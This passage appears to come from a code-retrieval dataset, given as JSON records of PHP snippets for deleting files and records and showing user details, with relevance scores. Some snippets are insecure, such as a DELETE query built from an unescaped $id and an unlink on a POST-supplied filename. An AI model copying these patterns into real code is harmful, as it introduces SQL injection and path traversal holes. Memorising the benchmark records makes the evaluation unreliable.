"ee2c72ca6aed30f08440398b6b2b1d92", "score": "0.57725495", "text": "public function removeUpload() {\n if ($file = $this->getAbsolutePath()) {\n unlink($file);\n }\n }", "title": "" }, { "docid": "e2f065c8a2bc58f5603a5807d4c71f90", "score": "0.57717043", "text": "function delete($id = NULL){\n $filename = \"quotes.txt\";\n $lines = file($filename, FILE_IGNORE_NEW_LINES);\n unset($lines[$id]);\n $data = implode(PHP_EOL, $lines);\n file_put_contents($filename, $data);\n header('Location: '.'index.php');\n}", "title": "" }, { "docid": "0f3689c212a7b5804cb7b9110e8cd45d", "score": "0.57675546", "text": "function borrarTareas($bd,$id) {\r\n $borrar = $bd->exec(\"DELETE FROM `lista_tareas` WHERE `lista_tareas`.`id` = $id\");\r\n}", "title": "" }, { "docid": "c78c6adbcdb9b4182a482231cb3acff7", "score": "0.5756784", "text": "public function borrarimagen(Request $request)\n {\n if($request->ajax()){\n $imagen = $request->get('imagen');\n if (File::exists('storage/proyectos/'. $imagen)){\n File::delete('storage/proyectos/'. $imagen);\n }\n return response('Imagen Eliminada',200);\n }\n }", "title": "" }, { "docid": "877870a2650ec2eb838a4e9b5cea322d", "score": "0.57527447", "text": "public function delete_upload()\n {\n $this->load->helper(\"file\");\n $file_name = $this->input->post('filename');\n $path = FCPATH.'assets/upload/tmp/'.$file_name;\n if(file_exists($path))\n {\n unlink($path);\n }\n else {\n show_404();\n }\n }", "title": "" }, { "docid": "9a716d571d6e8dc6c8bd95fee935886c", "score": "0.5747877", "text": "public function borrar($dato){\n\t\t\n\t\ttry \n \t{\n \t$flag;\n\t\t$query = 'DELETE FROM '.$this->table.' WHERE id_cuenta_credito = :id';\n\t\t$pdo = new Connection();\n\t\t$connection = $pdo->Connect();\n\t\t$command = $connection->prepare($query);\n\n\n\n\t\t$command->bindParam(':id', $dato);\n\t\t$command->execute();\n\t\t//-------------------CAPTURO ERRORES DE BD---------------------------------------\n\t\t$num_error=$command->errorInfo()[1];//tomo el error que produce la query\n\t\t$descripcion_error=$command->errorInfo()[2];//tomo la descripcion del error que produce la query\n\t\t\n\t\tif ($num_error==null){\n\t\t\t$flag=true;//si se pudo borrar y no dio error de BD, asigno true para retornar\n\n\t\t}\n\t\telse\n\t\t\t$flag=false;//si dio error al borrar de BD retorno false \n\t\t\n\t\t//----------------------------------------------------------------------------------\n\n \t}\n \tcatch (PDOException $ex) {\n\t\t\t\n\t\t\tthrow $ex;\n \t}\n \tcatch (Exception $e) {\n\t\t\t\n\t\t\tthrow $e;\n \t}\n\n \treturn $flag;\n\t}", "title": "" }, { "docid": "32e99d62e75727961648bff29f0ffdbb", "score": "0.57461494", "text": "public function removeTempFile() \n {\n return unlink($this->fileName);\n }", "title": "" }, { "docid": "18078a6740f48af65372aed0a3a43ce1", "score": "0.5744669", "text": "function reset(){\r\n\t\t//delete the file\r\n\t}", "title": "" }, { "docid": "62470bdab73b1c8776214a0d888756d6", "score": "0.5740182", "text": "public function delete($filename = null){\r\n $filename = $this->getFile($filename);\r\n unlink($filename);\r\n }", "title": "" }, { "docid": "32854ebf914dacfbfeb5fc7cd71438db", "score": "0.5732557", "text": "public function removeUpload()\n {\n if ($this->filepath && ($file = $this->getAbsolutePath()) && (file_exists($this->getAbsolutePath()))) {\n unlink($file);\n }\n }", "title": "" } ]
f7999c8a99b95ede2da35b1d63c6d4fb
Show detail of ApiUser data
[ { "docid": "c319a44dce69f6e9d64c98bf5b9d470b", "score": "0.0", "text": "public function read($id)\n {\n return $this->get('api_users/' . $id);\n }", "title": "" } ]
[ { "docid": "168fc9e9f010f446298765b1312254e9", "score": "0.80774164", "text": "public function show(ApiUser $apiUser)\n {\n //\n }", "title": "" }, { "docid": "cf01a04287d5e3c0bc15e147340a1f6c", "score": "0.79590875", "text": "public function show(Apiuser $apiuser) {\n //\n }", "title": "" }, { "docid": "973492ce3e5ef220e02a0618c386a4f8", "score": "0.74388963", "text": "public function actionDetail()\n {\n $userModel = new UserActiveRecordModel();\n $searchParams = array();\n if(isset($_GET['id']) && !empty($_GET['id'])){\n $searchParams['id'] = (int)$_GET['id'];\n }else{\n $this->retJSON(0, array(),$errMsg = 'id is null!'); \n }\n $result = $userModel->searchUserDetail($searchParams);\n if(!empty($result)){\n $this->retJSON(1, $result,$errMsg = '');\n }else{\n $this->retJSON(0, $result,$errMsg = '获取用户信息失败!');\n }\n \n }", "title": "" }, { "docid": "751e1a69ff3cb498c20b413ae837b895", "score": "0.73264456", "text": "private function getDetail($idUser) \n {\n $user = new User;\n $user->getById($idUser);\n View::renderJson(['status' => 1, 'data' => $user]);\n }", "title": "" }, { "docid": "9bee97de1656e5bb5fc74c82627cff90", "score": "0.72957915", "text": "public function userDetails()\n {\n // fetch the header data\n $decoded = $this->fetchHeaders();\n\n // set API response via helper\n $response = setAPIresponse(['Success'=>'User detail found'], 200, ['data' => $decoded]);\n\n return $this->respond($response);\n \n }", "title": "" }, { "docid": "4454855c3fe63b3d5a64020604a3d94d", "score": "0.7259234", "text": "public function details()\n {\n $authUser = new UserResource(auth()->user());\n return response()->json($authUser, 200);\n }", "title": "" }, { "docid": "259a17044f14109d38dbd8ee4edfce92", "score": "0.71608466", "text": "public function details()\n {\n $users = DB::table('users')->get();\n return response()->json(['user' => $users->get(1)], 200);\n }", "title": "" }, { "docid": "d06de5a037a7e575d97a9b14d8f445c2", "score": "0.7116005", "text": "public function show($id)\n {\n //\n $detail = $this->userModel->detailUser($id);\n\n\n\n $this->setResponse($detail);\n return $this->response();\n\n }", "title": "" }, { "docid": "3bf6e4f173eea2f7269daf62723bf082", "score": "0.71055007", "text": "public function show($id)\n {\n $user = $this->rest->findUserByID($id);\n if($user){\n \n $dto = new DTO(\"200\", \"User Found\", $user);\n }else{\n $dto = new DTO('404', 'No User Found', NULL);\n }\n return json_encode($dto);\n \n \n }", "title": "" }, { "docid": "2c4ddba67cd28ebbff1fb0fc07f75a2f", "score": "0.70968926", "text": "public function show()\n {\n return response()->json(\n $this->users->findForApiToken(request()->bearerToken())\n );\n }", "title": "" }, { "docid": "be154066a77ec3e3e4042ae49aec8720", "score": "0.7089311", "text": "function details()\n\t{\n\t\tlog_message('debug', 'User/details');\n\t\t$data = filter_forwarded_data($this);\n\t\tlog_message('debug', 'User/details:: [1] data='.json_encode($data));\n\t\t# user details\n\n\t\tif(!empty($data['d']))\n\t\t{\n\t\t\t$data['user'] = $this->_api->get('user/settings', array(\n\t\t\t\t'userId'=>format_id($data['d']),\n\t\t\t\t'fields'=>'userId,name,photo'\n\t\t\t));\n\t\t\t$data['title'] = !empty($data['user']['name'])? $data['user']['name']: 'ERROR';\n\t\t\t\n\t\t\t$parameters = array('limit'=>'1', 'phrase'=>'', 'category'=>'', 'viewUserIds'=>$data['d']);\n\t\t\t$data['profile'] = $this->_api->get('user/list', array_merge($parameters, array('view'=>'profile')));\n\t\t\t$data['network'] = $this->_api->get('user/list', array_merge($parameters, array('view'=>'network')));\n\t\t\t$data['activity'] = $this->_api->get('user/list', array_merge($parameters, array('view'=>'activity')));\n\t\t\t$data['money'] = $this->_api->get('user/list', array_merge($parameters, array('view'=>'money')));\n\t\t\t$data['clout_score'] = $this->_api->get('user/list', array_merge($parameters, array('view'=>'clout_score')));\n\t\t}\n\t\t\n\t\tif(empty($data['user'])) {\n\t\t\t$data['title'] = \"ERROR\";\n\t\t\t$data['msg'] = \"ERROR: The user details can not be resolved\";\n\t\t}\n\n\n\n\t\tlog_message('debug', 'User/details:: [2] data='.json_encode($data));\n\t\t$this->load->view('user/details', $data);\n\t}", "title": "" }, { "docid": "369288591ce1cb6bb697c622bcd5f408", "score": "0.7073846", "text": "public function apiUserShowId2() {\n // https://github.com/dingo/api/wiki/Internal-Requests\n $dispatcher = app('Dingo\\Api\\Dispatcher');\n\n echo $dispatcher->version('v1')->get('api/apiUsers/4');\n }", "title": "" }, { "docid": "df58a4ac3c5531e1d163de12c85d30ee", "score": "0.70713526", "text": "public function show(User $user)\n {\n \n\t}", "title": "" }, { "docid": "98e6341adfc4ea1dc55d74f5531284e2", "score": "0.7048513", "text": "public function show(UserDetail $userDetail)\n {\n //\n }", "title": "" }, { "docid": "c651f0bb08fd5367f97a1946032617a8", "score": "0.7014002", "text": "public function show($id)\n {\n //\n\n $user=User::find($id);\n\n if(Auth::user()->id==$id){\n $user['its_me_count']=1;\n }else{\n $user['its_me_count']=0;\n }\n\n if($user){\n\n return array(\n 'code'=>env('API_CODE_SUCCESS'),\n 'data'=>$user,\n 'message'=>\"success get detail user \"\n );\n\n }else{\n return array(\n 'code'=>env('API_CODE_ERR'),\n 'data'=>null,\n 'message'=>\"can't get detail user\"\n );\n\n }\n\n }", "title": "" }, { "docid": "eb1baa991620493831df12f14f08c144", "score": "0.70128804", "text": "public function show() {\n $user = Auth::user();\n return new JsonResponse($user);\n }", "title": "" }, { "docid": "7cbd90ff26c3d28207fc2396e2f254ec", "score": "0.69896024", "text": "public function show($id){\n $user = $this->user->find($id);\n if($user)\n return response()->json(['status' => 1, 'data' => $user]);\n return response()->json(['status' => 0,'data' => \"The user with id {$id} doesn't exist\"]);\n }", "title": "" }, { "docid": "839bdaeb481a7e570241a01503244ed4", "score": "0.6986274", "text": "public function userDetail($data) {\n return [\n 'UserId' => isset($data['id']) ? $data['id'] : \"\",\n 'QuickBlocksId' => isset($data['quick_blocks_id']) ? $data['quick_blocks_id'] : \"\",\n 'MobileNumber' => isset($data['mobile_number']) ? $data['mobile_number'] : \"\",\n 'Name' => isset($data['username']) ? $data['username'] : \"\",\n 'Specialty' => isset($data['specialty']) ? $data['specialty'] : \"\",\n 'ProfilePhoto' => isset($data['profile_photo'])?$this->getUserImage($data['profile_photo']):\"\"\n ];\n }", "title": "" }, { "docid": "a6376482eeac44769ebec9aa670e24a0", "score": "0.6979032", "text": "function fetch_user_detail() {\n\t\t\n\t\t$this->layout = '';\n\t\t$this->autoRender = false;\n\t\t$this->loadAllModel(array('User'));\n\t\t$userID = $this->request->data['userID'];\n\t\t$userDetail = array();\n\t\t$data = $this->User->find('first',array('conditions'=>array('User.id'=>$userID),'fields'=>array('User.first_name','User.last_name','User.email_address')));\n\t\t\n\t\t$userDetail = array();\n\t\tif(!empty($data)) {\n\t\t\t\n\t\t\tforeach($data as $key=>$value) {\n\t\t\t\t\n\t\t\t\t$userDetail[] = $value;\n\t\t\t}\n\t\t}\t\t\n\t\t\n\t\treturn json_encode($userDetail);\n\t}", "title": "" }, { "docid": "63fc6af7e95fa92e68cab893ffd2fa2e", "score": "0.69757617", "text": "public function getUser(){\n $auth = new Auth();\n try {\n $user = $auth->headerToken();\n } catch (Exception $e) {\n throw new RestException(\"Erreur d'authentication\",401);\n }\n\n $userInfos = $this->model->getDetails($user->id);\n\n if($userInfos){\n $this->sendResponse(200, $userInfos);\n } else {\n $this->sendResponse(404,[\n \"errorMessage\" => 'Aucun utilisateur trouvé.'\n ]);\n }\n }", "title": "" }, { "docid": "0b990d66e8e9edb5eb03cac72fba0b73", "score": "0.6974378", "text": "public function details()\n {\n return response()->json(['user' => auth()->User()], 200);\n }", "title": "" }, { "docid": "90ade632603f312027189f8ed2cf15cc", "score": "0.69690734", "text": "function user_show( $user_id )\n {\n return $this->hook( \"/users/{$user_id}.json\", \"user\" );\n }", "title": "" }, { "docid": "404ff83cb698f86cd3b6a92e111e5dd2", "score": "0.6961459", "text": "public function show()\n {\n return UserResource::collection(User::all());\n }", "title": "" }, { "docid": "7bc6e9f9a4920a5dcf149ea586304f10", "score": "0.69505495", "text": "public function detailAction()\n\t{\n\t\t$user = new App_Model_User();\n\n\t\tif (!$this->getParam('userId')\n\t\t\t|| !$user->findById(OPLib_EasyCrypt::decrypt($this->getParam('userId'), 'aes128'))\n\t\t) {\n\t\t\tthrow new Zend_Controller_Action_Exception('Uživatel s daným ID nebyl nalezen', 404);\n\t\t}\n\n\t\t$this->view->user = $user;\n\t\t$this->view->usersActions = $user->getAllActions();\n\t}", "title": "" }, { "docid": "573d5bf5c5bf3464a0fc85aec3b776e7", "score": "0.6948005", "text": "public function details()\n {\n return response()->json(['user' => auth()->user()], 200);\n }", "title": "" }, { "docid": "573d5bf5c5bf3464a0fc85aec3b776e7", "score": "0.6948005", "text": "public function details()\n {\n return response()->json(['user' => auth()->user()], 200);\n }", "title": "" }, { "docid": "3cf0b78f3d66307404471c5aa7bd72cc", "score": "0.6943343", "text": "public function show(User $user)\n {\n\n }", "title": "" }, { "docid": "3cf0b78f3d66307404471c5aa7bd72cc", "score": "0.6943343", "text": "public function show(User $user)\n {\n\n }", "title": "" }, { "docid": "3cf0b78f3d66307404471c5aa7bd72cc", "score": "0.6943343", "text": "public function show(User $user)\n {\n\n }", "title": "" }, { "docid": "3cf0b78f3d66307404471c5aa7bd72cc", "score": "0.6943343", "text": "public function show(User $user)\n {\n\n }", "title": "" }, { "docid": "3a052504de825e1c6ca9fa7512872a91", "score": "0.6936699", "text": "public function show(User $user)\n {\n // \n }", "title": "" }, { "docid": "54b20a2d70c2b5b769e0a5d8c0676089", "score": "0.6931778", "text": "public function show($id){\n if(Auth::user()->id == 1){\n $users = User::where('id' , $id)->get();\n }else{\n $users = Auth::user(); \n }\n return response()->json(['status'=>'ok', 'users'=>$users],200);\n }", "title": "" }, { "docid": "a872b6c49ca014040cb155b0e7fad559", "score": "0.6923799", "text": "public function showUser() {\n\t\t\tif (Auth::validToken($this->db,$this->token)){\n\t\t\t\t$roles = Auth::getRoleID($this->db,$this->token);\n\t\t\t\t$sql = \"SELECT a.Username, a.Fullname, a.Address, a.Phone, a.Email, a.Aboutme,a.Avatar, b.Role , c.Status,\n\t\t\t\t\t\ta.Created_at, a.Updated_at\n\t\t\t\t\tFROM user_data a \n\t\t\t\t\tINNER JOIN user_role b ON a.RoleID = b.RoleID\n\t\t\t\t\tINNER JOIN core_status c ON a.StatusID = c.StatusID\n\t\t\t\t\tWHERE a.Username = :username \".($roles == '1'?'':\"AND a.StatusID = '1'\").\";\";\n\t\t\t\t\n\t\t\t\t$stmt = $this->db->prepare($sql);\t\t\n\t\t\t\t$stmt->bindParam(':username', $this->username, PDO::PARAM_STR);\n\n\t\t\t\tif ($stmt->execute()) {\t\n \t \t\tif ($stmt->rowCount() > 0){\n \t\t\t \t$results = $stmt->fetchAll(PDO::FETCH_ASSOC);\n\t\t\t\t\t\t$data = [\n\t\t\t \t 'result' => $results, \n\t\t \t\t 'status' => 'success', \n\t\t\t\t \t'code' => 'RS501',\n \t\t\t 'message' => CustomHandlers::getreSlimMessage('RS501',$this->lang)\n\t\t\t\t\t\t];\n\t\t\t\t } else {\n \t \t\t\t$data = [\n \t \t\t \t'status' => 'error',\n\t\t \t \t 'code' => 'RS601',\n \t\t\t 'message' => CustomHandlers::getreSlimMessage('RS601',$this->lang)\n\t\t\t\t\t\t];\n\t\t \t } \t \t\n\t\t\t\t} else {\n\t\t\t\t\t$data = [\n \t \t\t\t'status' => 'error',\n\t\t\t\t\t\t'code' => 'RS202',\n\t \t \t'message' => CustomHandlers::getreSlimMessage('RS202',$this->lang)\n\t\t\t\t\t];\n\t\t\t\t}\t\t\n\t\t\t} else {\n\t\t\t\t$data = [\n \t \t\t'status' => 'error',\n\t\t\t\t\t'code' => 'RS404',\n\t \t 'message' => CustomHandlers::getreSlimMessage('RS404',$this->lang)\n\t\t\t\t];\n\t\t\t}\n\t\t\t\n \n\t\t\treturn JSON::safeEncode($data,true);\n\t $this->db= null;\n\t\t}", "title": "" }, { "docid": "1b44a13428276d1ec1c8dd476b1d67c1", "score": "0.69158864", "text": "public function showUser()\n {\n return User::get();\n }", "title": "" }, { "docid": "003b1ae307247953e3306fd0b7c63d72", "score": "0.691514", "text": "public function singleUserDetail($data){ \n return [\n 'UserId' => $data['id'], \n 'Name' => $this->nulltoBlank($data['name']),\n 'Email' => $this->nulltoBlank($data['email']),\n 'MobileNumber' => $this->nulltoBlank($data['mobile_number']),\n ];\n }", "title": "" }, { "docid": "1436085e1ce82fc0524bdba2a2ad6ec7", "score": "0.68987066", "text": "public function details()\n {\n $user = Auth::user();\n\n if(!$user){\n return $this->sendError('', 'Not Found', 404);\n }\n\n return $this->sendResponse($user->toArray(), '');\n }", "title": "" }, { "docid": "64f75ff7f45dc7466ad746926df26020", "score": "0.68901575", "text": "public function getUserByIdAction()\n {\n if ($this->request->isGet()) {\n\n //Request to get user by id\n $userId = $this->request->getQuery('id');\n $user = Users::findFirstById($userId);\n\n // Set status code\n $this->response->setStatusCode(200, 'OK');\n\n // Set the content of the response\n $this->response->setJsonContent([\"status\" => true, \"error\" => false, \"data\" => $user ]);\n\n } else {\n\n // Set status code\n $this->response->setStatusCode(405, 'Method Not Allowed');\n\n // Set the content of the response\n $this->response->setJsonContent([\"status\" => false, \"error\" => \"Method Not Allowed\"]);\n }\n\n // Send response to the client\n $this->response->send();\n }", "title": "" }, { "docid": "584964a8a10599d9e7d2d0c606022cb6", "score": "0.68876415", "text": "public function show($id)\n {\n $user = User::find($id);\n echo json_encode($user);\n }", "title": "" }, { "docid": "6a6b3fb1a4387ec9fa32c550857b54c7", "score": "0.6885654", "text": "public function actionUser()\n {\n// $user = User::find(Auth::user()->id);\n// return response([\n// 'status' => 'success',\n// 'data' => $user\n// ]);\n }", "title": "" }, { "docid": "da2468e34cd94a5bc469ae4abddf5af4", "score": "0.6870943", "text": "public function show()\n {\n return response()->json(['user' => Auth::user()]);\n }", "title": "" }, { "docid": "fa5807f42726d2f42d67ebd94190ab79", "score": "0.68628037", "text": "public function view_user_details(){\n $this->login_redirect();\n $user = $this->db->raw_sql_single('* FROM `tbl_users` LEFT JOIN tbl_employee ON tbl_users.emp_id=tbl_employee.emp_id WHERE user_id='.$_GET['id']);\n\n include $this->view . 'user/user_details.php';\n }", "title": "" }, { "docid": "57a255c27e6ce6cd8b47f988a0acd5c6", "score": "0.68544966", "text": "public static function userDetail($arg)\n {\n \n }", "title": "" }, { "docid": "df1c0e4072288cc02da2513874127ef6", "score": "0.68429804", "text": "public function show($id_user)\n {\n //\n }", "title": "" }, { "docid": "2a521550b1b5f0280731082d720fc044", "score": "0.6837278", "text": "public function showUser($id){\n return $this->successResponse($this->user1Service->obtainUser1($id));\n }", "title": "" }, { "docid": "cf06a0bb57712cb5085c40f8f65781f8", "score": "0.6835571", "text": "public function show()\n {\n return User::get();\n }", "title": "" }, { "docid": "6fa2f5dcda3485eb73b22af984968cb3", "score": "0.6834853", "text": "public function show($id)\n {\n $res = user::find($id);\n // var_dump($res);die;\n return view('admin.user.show',['title'=>'用户详情表','res'=>$res]);\n }", "title": "" }, { "docid": "d8ca44f099460a5100f0e033a21eb504", "score": "0.6830643", "text": "public function show($id)\n\t{\n\t\t$user = $this->user->where('api_token', '=', $this->token)->first();\n\t\treturn Response::json(['data' => $user], 200);\n\t}", "title": "" }, { "docid": "29015b909f8199f4dfb54d415e34bbc7", "score": "0.68286514", "text": "public function index()\n {\n return response(User::with([\n 'organization',\n 'socialProfile',\n 'membership',\n 'city',\n 'city.country',\n 'city.region',\n 'language',\n 'role'\n ])->find(Auth::id()), 200);\n }", "title": "" }, { "docid": "4cbcf23bcb9645cf686549a5e459fa02", "score": "0.6817096", "text": "public function show($_user_id)\n {\n $validator = Validator::make(array(\n 'userId' => $_user_id\n ),array(\n 'userId' => 'required|integer|exists:user_profile,user_id'\n ));\n\n if($validator->fails()){\n return Response::json(array(\n \"error\"=>$validator->messages()->all(),\n )\n ,400);\n }\n\n //get owner id from OAuth\n $ownerId = ResourceServer::getOwnerId();\n\n $user = User_profile::find($_user_id);\n $response_array = $user->toArray();\n\n $user_profile_photo = $user->photo()->get()->first();\n\n if(!is_null($user_profile_photo))\n $response_array['profile_photo'] = $user_profile_photo->toArray();\n\n return Response::json(\n array(\n \"message\"=>\"Request Ok\",\n \"data\" => $response_array)\n ,200);\n\n }", "title": "" }, { "docid": "c682bf94cc98e01db69d571701968013", "score": "0.681656", "text": "public function showind($id){\n return $this->user->where('id',$id)->get();\n }", "title": "" }, { "docid": "0f15df54309fe786730b9587ebaba17e", "score": "0.68127304", "text": "public function displayAction()\n {\n $userId = $this->_getParam('userId');\n\n $userMapper = new Application_Model_UserMapper();\n $user = $userMapper->find($userId);\n\n var_dump($user);\n }", "title": "" }, { "docid": "25eac4af10e372d7b68fb164b2227678", "score": "0.6809586", "text": "public function show($id)\n {\n $users = $this->userContract->show($id);\n return response()->view('admin.user.show', ['users'=>$users]);\n\n }", "title": "" }, { "docid": "5734abef3620f1ab75ad5cbb5df1753f", "score": "0.6807419", "text": "public function show($id){\n $data = User::find($id);\n\n return response()->json($data);\n }", "title": "" }, { "docid": "ed5b0f01f5d235ff85395261fb3e60a5", "score": "0.68031704", "text": "public function detail($id)\n {\n $dbHandler = Lib\\DbHandler::getDbHandler();\n $user = $dbHandler->getUser($id);\n if(empty($user))\n {\n header('Location: /user/create');\n exit;\n }\n\n /**\n * @var $dbHandler DbHandler\n */\n $view = new View\\DetailUser();\n $view->setVars($user);\n ?><div><?php\n //echo $view->render();\n $view->show($view);\n ?></div><?php\n }", "title": "" }, { "docid": "11fafd1725aa631ec831dfcd71128939", "score": "0.67978823", "text": "public function show($api_key, $id)\n\t{\n\t\t$api = new Api();\n\t\t$user = $api->getUser($api_key);\n\n\t\tif($user !== NULL) {\n\t\t\t// Processing Code Here\n\t\t}\n\t\telse if($user === false) {\n\t\t\treturn Response::json(array(\n\t\t\t\t'code' => '401',\n\t\t\t\t'data' => 'Incorrect API key sent.'\n\t\t\t));\n\t\t}\n\t\telse {\n\t\t\treturn Response::json(array(\n\t\t\t\t'code' => '401',\n\t\t\t\t'data' => 'A User does not exist with that API key'\n\t\t\t));\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "746b0da7a47660bd1a1747b9ea3f41ba", "score": "0.67977405", "text": "public function show($id)\n {\n //\n $user = user::all();\n return new JsonResource($user->where('id',$id));\n }", "title": "" }, { "docid": "d32ef60343fb232a5feb6621ea95dc78", "score": "0.67918515", "text": "public function show($id)\n {\n $user = User::find($id);\n // Check if user is not in the DB\n if ($user === null) {\n return response()->json([\n 'action' => 'show',\n 'status' => 'FAIL',\n 'entity' => NULL,\n 'type' => 'user',\n 'user' => Config::get('apiuser')\n ], 404);\n }\n else {\n // List the details of a specific user\n UserResource::WithoutWrapping();\n return new UserResource(User::with('levels')->with('locations')->with('wards')->find($id));\n }\n }", "title": "" }, { "docid": "05e604fc3af76803df6831865bf4aeb8", "score": "0.6790757", "text": "public function show($id,ShowUserRequest $request)\n {\n return (new UserResource(User::with('roles')->where('id',$id)->first()))->response();\n }", "title": "" }, { "docid": "14b11bf05cd10b2dfe47c18c09668d64", "score": "0.67839336", "text": "public function me() {\n $user = new UserResource($this->guard()->user());\n $this->data['status'] = true;\n $this->data['code'] = 200;\n $this->data['message'] = 'User detail.';\n $this->data['data']['user'] = $user;\n return $this->responseJson();\n }", "title": "" }, { "docid": "084652ababe1ddab89ad560dc7617e6b", "score": "0.67826533", "text": "public function show()\n {\n $users = ModelsUser::all();\n // $user = ModelsUser::find($id);\n\n return view('user', ['users' => $users, 'layout' => 'show']);\n //return response()->json($users);\n }", "title": "" }, { "docid": "c0751cdc0e32a0e5603f5f7a127578e3", "score": "0.6782132", "text": "public function user_get() {\n $is_valid_token = $this->authorization_token->validateToken();\n if (!empty($is_valid_token) AND $is_valid_token['status'] === TRUE) {\n $user = $this->authorization_token->userData();\n $this->response($user, REST_Controller::HTTP_OK);\n } else {\n $this->response(['status' => FALSE, 'message' => $is_valid_token['message']], REST_Controller::HTTP_NOT_FOUND);\n }\n }", "title": "" }, { "docid": "8643fd4fe36153b248759b2bf1618659", "score": "0.67790246", "text": "public function getUserDetails($id=''){ \n $find = User::find($id); //find by id(primary key)\n //$find->getOriginal() will return an array of the original attributes, or pass in a string with the attribute name \n $this->data['info'] = $find->getOriginal(); \n if(!empty($find->getOriginal())){\n return $this->successResponse(['body'=>view('admin.user_management.ajaxEditDetails',$this->data)->render()], 'Data retrieved successfully!', 200);\n }else{\n return $this->errorResponse('Something went wrong', 202); \n }\n }", "title": "" }, { "docid": "9d0e03fd466f3764fbb6d43202d1e383", "score": "0.6774907", "text": "public function profile(){\n \n \treturn response()->json([\n 'user'=>auth('admin-api')->user(), \n 'message'=> 'Admin found Successfully!'\n ], 200); \n }", "title": "" }, { "docid": "39d52d7a5ca4c2faa145c12e341b1f5a", "score": "0.6764757", "text": "public function show($id) {\n try {\n\n $user = User::with('statusUser')->findOrFail($id);\n\n $response = [\n 'msj' => 'Info del Usuario',\n 'user' => $user,\n ];\n\n return response()->json($response, 200);\n } catch (\\Exception $e) {\n Log::error('Ha ocurrido un error en UserController: '.$e->getMessage().', Linea: '.$e->getLine());\n\n return response()->json([\n 'message' => 'Ha ocurrido un error al tratar de obtener los datos.',\n ], 500);\n }\n }", "title": "" }, { "docid": "cd14bd6a35657bee7ccaa9bd3adf4935", "score": "0.67552894", "text": "public function show(User $auth)\n {\n //\n }", "title": "" }, { "docid": "b982e7d17d741d31dc7bbd7b64ee5e4c", "score": "0.67542523", "text": "function user_get()\n {\n\n if(!$this->get('id'))\n {\n \t$this->response(NULL, 400);\n }\n\n \t$user = $this->user_model->get_user($this->get('id'));\n \t\n if($user)\n {\n $this->response($user, 200); // 200 being the HTTP response code\n }\n\n else\n {\n $this->response(array('error' => 'User could not be found'), 404);\n }\n }", "title": "" }, { "docid": "954315fdf902ded98b7813d421c5181e", "score": "0.6754037", "text": "public function show($id)\n {\n $user = User::find($id);\n return response()->json(['name'=>$user->name,'email'=>$user->email]);\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": 